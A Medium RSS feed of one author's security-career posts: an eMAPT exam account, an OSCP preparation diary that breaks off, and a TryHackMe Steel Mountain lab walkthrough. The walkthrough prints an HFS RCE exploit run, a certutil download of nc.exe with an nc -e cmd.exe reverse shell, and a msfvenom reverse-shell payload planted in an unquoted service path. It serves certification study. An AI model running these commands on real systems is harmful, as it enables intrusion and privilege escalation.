<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhay pandit on Medium]]></title>
        <description><![CDATA[Stories by Abhay pandit on Medium]]></description>
        <link>https://medium.com/@abhaypandit7278?source=rss-1c791b98113e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Lx4lyB9vfNzxp9FOCvQMZw.jpeg</url>
            <title>Stories by Abhay pandit on Medium</title>
            <link>https://medium.com/@abhaypandit7278?source=rss-1c791b98113e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 07:57:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abhaypandit7278/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Passed the eMAPT (While doing internship Full-Time)]]></title>
            <link>https://medium.com/@abhaypandit7278/how-i-cracked-the-emaptv2-while-working-full-time-1be4f3b49779?source=rss-1c791b98113e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1be4f3b49779</guid>
            <category><![CDATA[jobs]]></category>
            <category><![CDATA[emapt]]></category>
            <category><![CDATA[ios-app-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mobile-security]]></category>
            <dc:creator><![CDATA[Abhay pandit]]></dc:creator>
            <pubDate>Sat, 25 Oct 2025 12:34:43 GMT</pubDate>
            <atom:updated>2025-10-25T13:15:31.082Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*kVWiCkueL9Uw8PwuC1FRiA.png" /><figcaption>eMAPT</figcaption></figure><p>As I already had a strong background in Network Penetration Testing and Active Directory Security, along with experience participating in numerous Capture the Flag (CTF) challenges, I wanted to expand my skill set by exploring a new domain. Mobile Application Penetration Testing is one of the most in-demand skills in the AppSec industry, so I decided to focus my learning in this area. While studying mobile security, I also aimed to validate my knowledge by attempting the <strong>eMAPT certification</strong>, as it holds significant value and recognition in the cybersecurity field.</p><h3>What is eMAPT?</h3><p>The eLearn Mobile Application Penetration Tester (eMAPT) is a certification offered by INE (formerly known as eLearnSecurity). It focuses on testing and securing mobile applications for both Android and iOS platforms. This certification shows that a professional has the skills needed to perform mobile app penetration testing and identify security weaknesses.</p><p><strong>Details:</strong></p><ul><li><strong>Price:</strong> $400 (without training)</li><li><strong>Training Cost:</strong> $749</li><li><strong>Passing Score:</strong> 70/100(%)</li><li><strong>Exam Duration:</strong> 12 hours</li><li><strong>Proctored:</strong> No</li><li><strong>Focus Areas:</strong> Android and iOS Application Penetration Testing</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ah9L8r_PnVXZ97faNqs1aQ.png" /></figure><h4><strong>Updated eMAPT Exam Format</strong></h4><p>I came to know that INE recently <strong>changed the eMAPT syllabus and exam</strong> pattern, but I do not know exactly when the change happened. Previously, the exam was a seven-day marathon where candidates received two .apk files, had to find vulnerabilities, create malicious .apk exploits, and submit those exploits to the exam portal. I took the exam on <strong>October 18, 2025</strong>. For my exam they gave two .apk files and two .ipa files. I had to find vulnerabilities in those apps and answer multiple-choice questions.</p><h3>My Preperation</h3><p>I started learning Android architecture from a Medium article. Then I jumped straight into Android CTFs. At first it felt overwhelming — so many tools, techniques, SDKs, Frida, SSL pinning, and root detection. Over time my concepts became clearer.</p><p>I was also doing an internship, so some days I could not study consistently. On April 23, 2025, I bought the exam voucher for $200. In May I could not study well, and in June I only studied 10–15 days. At the last week of August I decided to study seriously with no more excuses. I checked my voucher and saw it would expire on October 20, 2025, so I had only two months left.</p><p>I worked through the official INE content, spending about four hours each evening after work for twenty days. After finishing INE, I studied HTB’s mobile app content focused on static analysis and completed it in eight days.</p><p>I practiced on many vulnerable Android apps like <strong>OWASP Broken Bank</strong> and<strong> Insecure NoteBook</strong>, and I read <strong>30–40 Android manifest files</strong> to build confidence. For iOS, I followed the INE content, which was enough for the exam. Studying every day was hard, but it was worth it. Many people guided me in the right direction.</p><h3>My Exam Experenince</h3><p>I started my exam on October 18 at 9:15 AM. They gave me four applications: <strong>two APKs </strong>and<strong> two IPAs</strong>. I also had a pre-configured web-based Linux lab with all tools installed. I started the emulators and opened jadx-gui to analyze the apps.</p><p>From about<strong> 9:30 AM to 2:00 PM</strong> I found vulnerabilities in the Android apps. This was not a CTF — there were real issues to find, not flags.</p><p>From <strong>2:00 PM to 4:00 PM</strong> I took a break for lunch and a short sleep. After waking up, I worked on the iOS apps and found their vulnerabilities in about three hours.</p><p>I still had two hours left, so I rechecked everything and inspected more files and code. When I submitted the exam, the portal took two minutes and then showed that I had passed. I was very happy because I had bought the exam voucher with money from my internship stipend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hPxPPh64a8M983BvT3IekA.png" /></figure><h3><strong>The Heroes Behind the Scenes</strong></h3><p>I am very thankful to my family and friends for their constant support. <a href="https://www.linkedin.com/in/snehbavarva/"><strong>Sneh </strong></a>helped me a lot by making the payment on my behalf when INE was offering a discount, as I did not have a credit card at that time.</p><p><a href="https://www.linkedin.com/in/octodi/"><strong>Anish </strong></a><strong>and</strong><a href="https://www.linkedin.com/in/aryan-jaiswal-57b42a218/"><strong> Aryan</strong></a><strong> </strong>guided me well and shared a great Android course from <a href="https://app.hextree.io/map/android/android-continent">Hextree</a>. <a href="https://www.linkedin.com/in/kundan-joshi-179a73320/"><strong>Kundan Joshi</strong></a><strong> &amp; S</strong><a href="https://www.linkedin.com/in/sadiq-mohamed-3094b0123/"><strong>adiq Mohamed</strong></a><strong> </strong>also supported me throughout my preparation. There are many more people who helped me in this journey, and I am truly grateful to all of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*7xNeFddC8PULeSjsrgNb7Q.png" /></figure><p>If I missed anything, please let me know.<br> If you are preparing for this exam or learning mobile application penetration testing and need guidance, please reach out to me. I will try my best to help answer your questions.</p><p><strong>My </strong><a href="https://www.linkedin.com/in/abhay-pandit-41aa69238/"><strong>Linkdin</strong></a><strong> : </strong><a href="https://www.linkedin.com/in/abhay-pandit-41aa69238/"><strong>https://www.linkedin.com/in/abhay-pandit-41aa69238/</strong></a></p><p><strong>My </strong><a href="https://x.com/HUNTYT07?t=a-YJK0PC1pKhUDgB25V9jg&amp;s=09"><strong>Twitter/X</strong></a><strong> : @HUNTYT07</strong></p><p><strong>My Discord : abhayyt07</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1be4f3b49779" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Steel Mountain — TryHackMe — by Abhay Pandit]]></title>
            <link>https://medium.com/@abhaypandit7278/steel-mountain-tryhackme-by-abhay-pandit-1b64bc4e46b0?source=rss-1c791b98113e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b64bc4e46b0</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp-like-boss]]></category>
            <category><![CDATA[unquoted-service-path]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[steel-mountain]]></category>
            <dc:creator><![CDATA[Abhay pandit]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 11:00:56 GMT</pubDate>
            <atom:updated>2025-07-29T11:00:56.502Z</atom:updated>
            <content:encoded><![CDATA[<h3>Steel Mountain — TryHackMe — by Abhay Pandit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*hhSpuBvNnNKBQedgeS4S2Q.jpeg" /><figcaption>Steel — Mountain</figcaption></figure><p>This walkthrough covers the <em>Steel Mountain</em> machine, an <strong>OSCP-style box</strong> that serves as an excellent resource for individuals preparing for the <strong>OSCP certification</strong>. The machine provides practical exposure to real-world vulnerabilities and privilege escalation techniques commonly encountered during penetration testing.</p><p>Throughout this guide, we will exploit a known vulnerability in <strong>Rejetto HFS 2.3</strong>, a lightweight HTTP file server, to gain initial access. Following that, we will demonstrate privilege escalation by identifying and exploiting an <strong>unquoted service path,</strong> a classic misconfiguration found in Windows environments.</p><p>This hands-on experience will enhance your understanding of core OSCP methodologies, from enumeration to Privilege Escilation.</p><p><strong>LAB ACCESS : </strong><a href="https://tryhackme.com/room/steelmountain">https://tryhackme.com/room/steelmountain</a></p><p>Before beginning the task, ensure that the <strong>TryHackMe VPN</strong> connection is active to establish a secure tunnel to the target network. Once connected, start the <strong>Steel Mountain</strong> machine from the TryHackMe dashboard.</p><h4><strong>📡 Network Scanning</strong></h4><pre>nmap 10.10.67.138  -p- --min-rate 5000 -sC -sV<br><br><br><br><br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 10:35 IST<br>Nmap scan report for 10.10.67.138<br>Host is up (0.17s latency).<br>Not shown: 65520 closed tcp ports (reset)<br>PORT      STATE SERVICE       VERSION<br>80/tcp    open  http          Microsoft IIS httpd 8.5<br>|_http-server-header: Microsoft-IIS/8.5<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: STEELMOUNTAIN<br>|   NetBIOS_Domain_Name: STEELMOUNTAIN<br>|   NetBIOS_Computer_Name: STEELMOUNTAIN<br>|   DNS_Domain_Name: steelmountain<br>|   DNS_Computer_Name: steelmountain<br>|   Product_Version: 6.3.9600<br>|_  System_Time: 2025-07-28T05:07:01+00:00<br>|_ssl-date: 2025-07-28T05:07:07+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=steelmountain<br>| Not valid before: 2025-07-27T04:10:54<br>|_Not valid after:  2026-01-26T04:10:54<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>8080/tcp  open  http          HttpFileServer httpd 2.3<br>|_http-title: HFS /<br>|_http-server-header: HFS 2.3<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>49152/tcp open  msrpc         Microsoft Windows RPC<br>49153/tcp open  msrpc         Microsoft Windows RPC<br>49154/tcp open  msrpc         Microsoft Windows RPC<br>49155/tcp open  msrpc         Microsoft Windows RPC<br>49156/tcp open  msrpc         Microsoft Windows RPC<br>49163/tcp open  msrpc         Microsoft Windows RPC<br>49164/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3:0:2: <br>|_    Message signing enabled but not required<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 02:6a:0f:64:7b:37 (unknown)<br>| smb2-time: <br>|   date: 2025-07-28T05:07:01<br>|_  start_date: 2025-07-28T04:10:47<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 88.29 seconds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*RMU85iQkSKYkx_0Cv4nf5Q.png" /></figure><p>The Nmap scan reveals multiple open ports and services on the target machine (10.10.67.138), which are commonly seen in Windows-based environments:</p><ul><li><strong>Port 80 (HTTP)</strong> — Microsoft IIS httpd 8.5</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_H_BETKR_5tymdhvtlalxg.png" /><figcaption>On Port 80</figcaption></figure><ul><li><strong>Port 445 (SMB)</strong> — Microsoft Windows Server 2008 R2–2012</li><li><strong>Port 3389 (RDP)</strong> — Microsoft Terminal Services</li><li><strong>Port 5985 (WinRM)</strong> — Windows Remote Management</li><li><strong>Port 8080 (HTTP)</strong> — HttpFileServer (HFS) 2.3</li></ul><h3>🧭 Initial Enumeration Strategy</h3><p>To identify potential entry points, the focus is first placed on <strong>low-hanging fruits</strong>:</p><ul><li><strong>SMB (Port 445):</strong> Attempted enumeration using smbclient, nmap script, rpcclient, smbmapyielded no accessible shares or valuable information. SMB appears to be hardened or access-restricted.</li></ul><pre>smbmap -H 10.10.238.188 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*49l6N9D18Kzi4xN82SAt7Q.png" /><figcaption>smbmap</figcaption></figure><pre>smbclient -L 10.10.238.188   -U &#39;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*K7MrJE1orBqQGBA9WUtkEA.png" /><figcaption>Enumerating shares via smbclient in Null session</figcaption></figure><pre>nmap 10.10.238.188 --script smb-enum-shares -p139,445 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*sKeO3mE0pp1qhM9N25eegg.png" /><figcaption>nmap smb enumerating shares command</figcaption></figure><pre>rpcclient  -N 10.10.238.188</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*dHkPXZvz68hwdoSK90aHcQ.png" /><figcaption>Enumerating shares via rpcclient in Null session</figcaption></figure><ul><li><strong>RDP (Port 3389)</strong> and <strong>WinRM (Port 5985):</strong> These services require valid credentials to proceed. Without credentials, they are currently non-actionable and will be revisited later if credentials are found.</li><li><strong>Web Services (Ports 80 &amp; 8080):</strong> These present a broader surface area for enumeration. Of particular interest is <strong>port 8080</strong>, running <strong>HttpFileServer (HFS) 2.3</strong>, a version known to have critical vulnerabilities.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*8KHxS-0OC6MZyG8dI9a9ZQ.png" /><figcaption>On Port 8080</figcaption></figure><p>Given these findings, the next logical step is to focus on enumerating and exploiting the <strong>web services</strong>, especially the HFS 2.3 instance, which has historically been associated with remote code execution (RCE) vulnerabilities.</p><p>After identifying HFS 2.3 on port 8080, I searched online and found a known RCE exploit.</p><p>Exploit Link: <a href="https://github.com/thepedroalves/HFS-2.3-RCE-Exploit">https://github.com/thepedroalves/HFS-2.3-RCE-Exploit</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-uiYv6Ys2NZrtZI5GN2Xew.png" /></figure><p>I downloaded the exploit and made a few changes to it — just updated the LHOST, LPORT, RHOST, and RPORT values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l1AHnhjHVl3V-zau-tL9rw.png" /><figcaption>Modification in Exploit</figcaption></figure><p>Before running the exploit with python3 exploit.py, I set up my listener using the following command to catch the reverse shell:</p><pre>python3 Exploit.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*U4lfwiqjJkgJQ6yaPAvoJw.png" /></figure><pre>rlwrap -f . -r  nc -nvlp 445 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*97fpl0uyZYLGfwmLYoJsJw.png" /></figure><p>After successfully gaining a reverse shell, I navigated to the user’s directory and retrieved the contents of the user.txt flag:</p><pre>PS C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&gt; cd C:\users\bill\Desktop<br>PS C:\users\bill\Desktop&gt; type user.txt<br>read-your-own-Flag-please--:)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRFP0t61fhPTYZ0iloL5aA.png" /><figcaption>user.txt flag</figcaption></figure><h3>🛠️ Upgrading to a Stable Shell</h3><p>Before proceeding with privilege escalation, it’s important to upgrade our current reverse shell to a more stable one. The existing shell is limited and may not support certain commands reliably.</p><p>To achieve this, I transferred nc.exe (Netcat for Windows) to the target machine and used it to establish a more stable reverse shell back to my Kali machine:</p><p>To upgrade the shell, I first located the Windows version of nc.exe on my Kali machine using the find command:</p><pre>find / -name &quot;nc.exe&quot; 2&gt;/dev/null</pre><p>The binary was found at:</p><pre>/usr/share/windows-resources/binaries/nc.exe</pre><p>Next, I copied it to my current working directory:</p><pre>cp /usr/share/windows-resources/binaries/nc.exe .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*HC72Ct2emmNgflC47GAlwg.png" /></figure><p>After that, I started a Python HTTP server to host the file and make it available for download from the target machine:</p><pre>python3 -m http.server 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*t3pYFoHG_coKOlttgO3mHg.png" /></figure><p>With the server running, the target can now fetch nc.exe for establishing a more stable reverse shell.</p><pre>PS C:\Temp&gt; certutil -urlcache -split -f http://10.8.175.34:80/nc.exe nc.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*ktDr5E_7c5r3OWrbWPFpNA.png" /></figure><p>Execute Netcat to get a reverse shell:</p><pre>PS C:\Temp&gt; .\nc.exe 10.8.175.34 445 -e cmd.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*ITqbBm54Y9vVehw3qjzVpg.png" /><figcaption>nc.exe stable shell</figcaption></figure><h3>🛡️ Privilege Escalation—Unquoted Service Path</h3><p>Ran winPEASx64.exe on the Windows target and found <strong>unquoted service path</strong> vulnerability, which could allow privilege escalation via planting a malicious executable in a writable directory in the service path.</p><pre>C:\Temp&gt;.\winpeasx64.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yU7yMZEWj1xYCWNReQsWYQ.png" /><figcaption>winpeasx64.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9jEXGOEPhW3q_Krd8m06w.png" /></figure><p>Upon examining the services, the most interesting service identified is <strong>Advanced SystemCare Service(ASC)</strong>, which has an <strong>unquoted service path</strong>. This service is running with the following command path:</p><pre>C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe</pre><p>For those who are <strong>not familiar with the Unquoted Service Path vulnerability</strong>, I highly recommend reviewing the following resources. These articles provide a clear and practical understanding of how this vulnerability works and how it can be exploited during privilege escalation:</p><ol><li>🔗 <a href="https://www.hackingarticles.in/windows-privilege-escalation-unquoted-service-path/"><strong>Windows Privilege Escalation — Unquoted Service Path (Hacking Articles)</strong></a></li><li>🔗<strong> </strong><a href="https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae"><strong>Windows Privilege Escalation (Part 1): Unquoted Service Path (Medium — Sumit Verma)</strong></a></li></ol><p>Both resources include hands-on examples that are helpful for beginners and intermediate learners in the field of penetration testing.</p><pre>wmic service get name,pathname | findstr /i /v &quot;C:\Windows\\&quot; | findstr /i /v &quot;&quot;&quot;</pre><p>This command helps filter out non-Windows services with unquoted paths, which are more likely to be misconfigured and exploitable. The output includes both the <strong>service name</strong> and <strong>binary path</strong>.</p><p>It’s important to note that having the <strong>service name</strong> is crucial for further enumeration and exploitation. Without the service name, actions such as querying service configuration, checking permissions, or attempting service restarts (e.g., via sc or net commands) are <strong>not possible</strong>. Therefore, retrieving the service name is a key step in assessing and exploiting <strong>unquoted service path vulnerabilities</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*siSpSluqSZ9xuGKnI_4eZQ.png" /><figcaption>AdvancedSystemCareService9</figcaption></figure><pre>C:\Temp&gt;sc qc AdvancedSystemCareService9</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*CwR_bnnxzHmb8IvSNABFVg.png" /><figcaption>Localsystem</figcaption></figure><p>Based on the output of sc qc AdvancedSystemCareService9, the service runs as <strong>LocalSystem</strong>, is set to <strong>Auto Start</strong>, and executes from an unquoted path:<br> C:\Program Files (x86)\IOBit\Advanced SystemCare\ASCService.exe.</p><p>Since the IOBit directory is <strong>writeable</strong>, we can generate a reverse shell payload named Advanced.exe using msfvenom and place it in that directory. Upon restarting the service, Windows may execute our malicious Advanced.exe due to the unquoted service path vulnerability, resulting in a <strong>reverse shell with NT AUTHORITY\SYSTEM</strong> privileges.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.175.34  LPORT=445 -f exe  &gt; Advanced.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*cCRwKHHu4CGmoH2a0SJsfw.png" /><figcaption>Advanced.exe</figcaption></figure><pre>C:\Program Files (x86)\IObit&gt;certutil -urlcache -split -f http://10.8.175.34/Advanced.exe Advanced.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S3Gfbnb-BJnzRVmbqNM-RQ.png" /></figure><pre>sc stop AdvancedSystemCareService9</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*T2HZ3YjySXShDLqmx0fGCw.png" /><figcaption>sc stop AdvancedSystemCareService9</figcaption></figure><p>Before restarting the service, we must <strong>start our listener</strong> (using nc) to receive the reverse shell connection. Once the listener is active, restarting the service will trigger the execution of the payload, potentially granting us <strong>SYSTEM-level access</strong>.</p><pre>C:\Program Files (x86)\IObit&gt;sc start AdvancedSystemCareService9</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*pvQZBcLOJ4M3aO0ZEdOWdA.png" /></figure><p>Although the command resulted in a timeout error, it successfully triggered the malicious payload. As a result, we received a <strong>reverse shell with </strong><strong>NT AUTHORITY\SYSTEM privileges</strong>, confirming successful exploitation of the unquoted service path vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*F9JMsa4vEumO1wy25TFJjw.png" /><figcaption>nt authority\system</figcaption></figure><p><em>I hope you found this walkthrough insightful and helpful. If you are currently preparing for the OSCP exam and would like to connect, feel free to reach out to me.</em></p><h3>You can reach me out from :</h3><p>LinkedIN — <a href="https://www.linkedin.com/in/abhay-pandit-41aa69238/"><strong>https://www.linkedin.com/in/abhay-pandit-41aa69238/</strong></a></p><p>Discord — <strong>@Abhayyt07</strong></p><p>E-Mail — <strong>abhaypandit7278@gmail.com</strong></p><p><strong>Thank you very much for your time ,hope I could help :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b64bc4e46b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My OSCP Journey — Abhay Pandit]]></title>
            <link>https://medium.com/@abhaypandit7278/my-oscp-journey-abhay-pandit-26fe2f2c7fe9?source=rss-1c791b98113e------2</link>
            <guid isPermaLink="false">https://medium.com/p/26fe2f2c7fe9</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abhay pandit]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 22:37:30 GMT</pubDate>
            <atom:updated>2025-10-25T10:40:59.105Z</atom:updated>
            <content:encoded><![CDATA[<h3>My OSCP/OSCP+ Journey — Abhay Pandit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*djxgZead6w1aOsBdvfhMTQ.png" /></figure><h3>My Background</h3><p>Before going for OSCP,</p><p>I Passed Ejptv2 in October in 2023 with 82%</p><p>Study for CEH from Ec-Council unofficial course</p><p>Solve Try Hackme path Offensive-Pentesting , Pre Security , Web Fundamentals , Web Application Pentesting , Jr Penetration Testor</p><p>I learn basic programmig like C , C++ , python , HTML , Java , Note : I am Not Master at all those programming</p><h3><strong>PEN-200</strong></h3><h4>Introduction :</h4><p>The <strong>Offensive Security Certified Professional (OSCP)</strong> is a highly respected penetration testing certification offered by <strong>Offensive Security</strong>. It is known for its hands-on, practical approach to ethical hacking and requires candidates to exploit vulnerable machines in a controlled lab environment</p><h3>Key Details of OSCP:</h3><ul><li><strong>Course &amp; Exam:</strong> Comes with the <strong>PWK (Penetration Testing with Kali Linux)</strong> course. The exam is a <strong>24-hour hands-on test</strong>, where candidates must compromise a set of machines and gain administrator/root access.</li><li><strong>Skills Tested:</strong> Web exploitation, Active Directory , privilege escalation, network penetration, and post-exploitation.</li><li><strong>Famous Slogan:</strong> <em>“Try Harder!”</em> — highlighting the self-learning and perseverance required to pass</li><li><strong>Challenges labs : </strong>They will Provide Challenges labs for better approach as well as methodology,</li><li><strong>Make Connection</strong> : I make lot’s of connection from offsec discord and make lots of friend’s ,they help me in this journey a lot</li></ul><h3>My Journey</h3><h4><strong>January 2024 :</strong></h4><p>I began my <strong>OSCP preparation in January 2024</strong>, starting with <strong>TryHackMe</strong>. I thoroughly revised all the essential learning paths available on the platform to strengthen my foundational skills. Additionally, I followed a <strong>YouTube playlist by Harshit Joshi (The Cyber Expert)</strong>, which provided valuable insights and practical guidance aligned with the OSCP journey.</p><h4><strong>February 2024:</strong></h4><p>In <strong>February</strong>, I began learning <strong>Python, Java, and PowerShell</strong>. Java was part of my <strong>academic curriculum</strong>, while Python and PowerShell were specifically chosen to support my <strong>OSCP preparation</strong>. Many experienced professionals emphasized the importance of having a solid understanding of these languages, particularly for scripting, automation, and exploitation tasks during the exam.</p><p>Alongside this, I also <strong>revised the TCM Practical Ethical Hacking course</strong> to strengthen my foundational knowledge and reinforce core penetration testing concepts.</p><h4><strong>March to June 2024:</strong></h4><p>As my semester exams were approaching, I temporarily paused my <strong>OSCP+</strong> preparation and shifted my focus toward college studies. However, during my free time, I continued solving labs on <strong>TryHackMe</strong> to maintain my practical skills</p><h4><strong>July 2024:</strong></h4><p>One of my friends recommended exploring <a href="https://portal.offsec.com/labs/play"><strong>PG-Play</strong></a>, a free platform provided by <strong>OffSec</strong> for practicing machine exploitation. 🔍 Excited by the opportunity, I began solving the challenges and successfully completed around <strong>25 to 30 machines</strong>. Alongside this, I revisited and strengthened my understanding of <strong>Linux and Windows Privilege Escalation</strong>, refining my skills for the exam. 🚀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D-XCuQJWSzIxNq-3K-zLLg.png" /></figure><h4><strong>August 2024:</strong></h4><p>During this month, A heartfelt thank you to <a href="https://www.linkedin.com/in/subhankar-senapati?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong><em>Subhankar Senapati</em></strong></a> for sponsoring access to PG Practice. I focused entirely on solving all 48 <strong>PG Practice machines</strong> from the TJ Null list. Most of the machines were challenging, so I often had to refer to walkthroughs. While doing so, I realized there are multiple ways to approach each machine, and many people in the community have deep knowledge and unique techniques. This was a big learning experience for me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*RVIkrwDkIqtzBDZvYrliww.jpeg" /></figure><p>I also took detailed notes in <strong>OneNote</strong> as I progressed. Alongside this, I watched <strong>Ansh Bhawani’s Windows Privilege Escalation course</strong>, which was shared by one of my closest mentors, <a href="https://www.linkedin.com/in/kiran-patait-ba84527a/"><strong>Kiran </strong></a><strong>Patriat </strong>(without<strong> </strong>him i cant be able to study expensive courses).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*PIC8P21u5cVz8Xt-xzDXTg.png" /></figure><p>At that time, I was able to solve <strong>only 1 or 2 machines a day</strong>—I was quite slow. Sitting alone and working through the challenges wasn’t easy for me, but I stayed committed because my goal was to earn the <strong>OSCP certification</strong>.</p><h4><strong>September 2024:</strong></h4><p>In September, I began learning the fundamentals of Active Directory through the <strong>Bitten Tech Active Directory Course</strong>. I would like to express my sincere gratitude to <a href="https://www.linkedin.com/in/sakyb7?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Sakib Chand</strong></a> and<strong> </strong><a href="https://www.linkedin.com/in/chaitanya-ghule-a52149117?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app"><strong>Chaitanya </strong></a>Gule, who kindly granted me access to the course at a time when I was unable to afford it. Their support meant a lot to me.</p><p>I completed the course in just five days, from <strong>2nd to 7th September</strong>. From <strong>8th to 11th September</strong>, I was occupied with preparing a college assignment for my 5th semester. Once that was completed, I moved on to hands-on practice by selecting machines from the <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#"><strong>TJ Null</strong> </a>and <a href="https://docs.google.com/spreadsheets/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/edit?gid=487240997#gid=487240997"><strong>Lainkusanagi</strong></a><strong> List </strong>Active Directory practice lists.</p><p>Between <strong>14th and 30th September</strong>, I dedicated <strong>5 to 6 hours daily</strong> to solving Active Directory machines and taking notes. The process was intense and, at times, mentally exhausting. On certain days, I had to step away — taking walks or visiting friends—to recharge my mind. It was a challenging journey, but I stayed motivated and committed to my goal.</p><p>While working through the machines, I often had to refer to walkthroughs, especially when it came to privilege escalation or credential hunting — areas where I initially lacked clarity. However, studying these walkthroughs helped me learn various styles, techniques, and approaches. It expanded my understanding of tool usage, methodology, and different exploitation strategies, ultimately enhancing both my technical skills and problem-solving mindset.</p><h4><strong>October 2024:</strong></h4><p>In October, I enrolled in the <strong>PEN-200 course</strong> with a 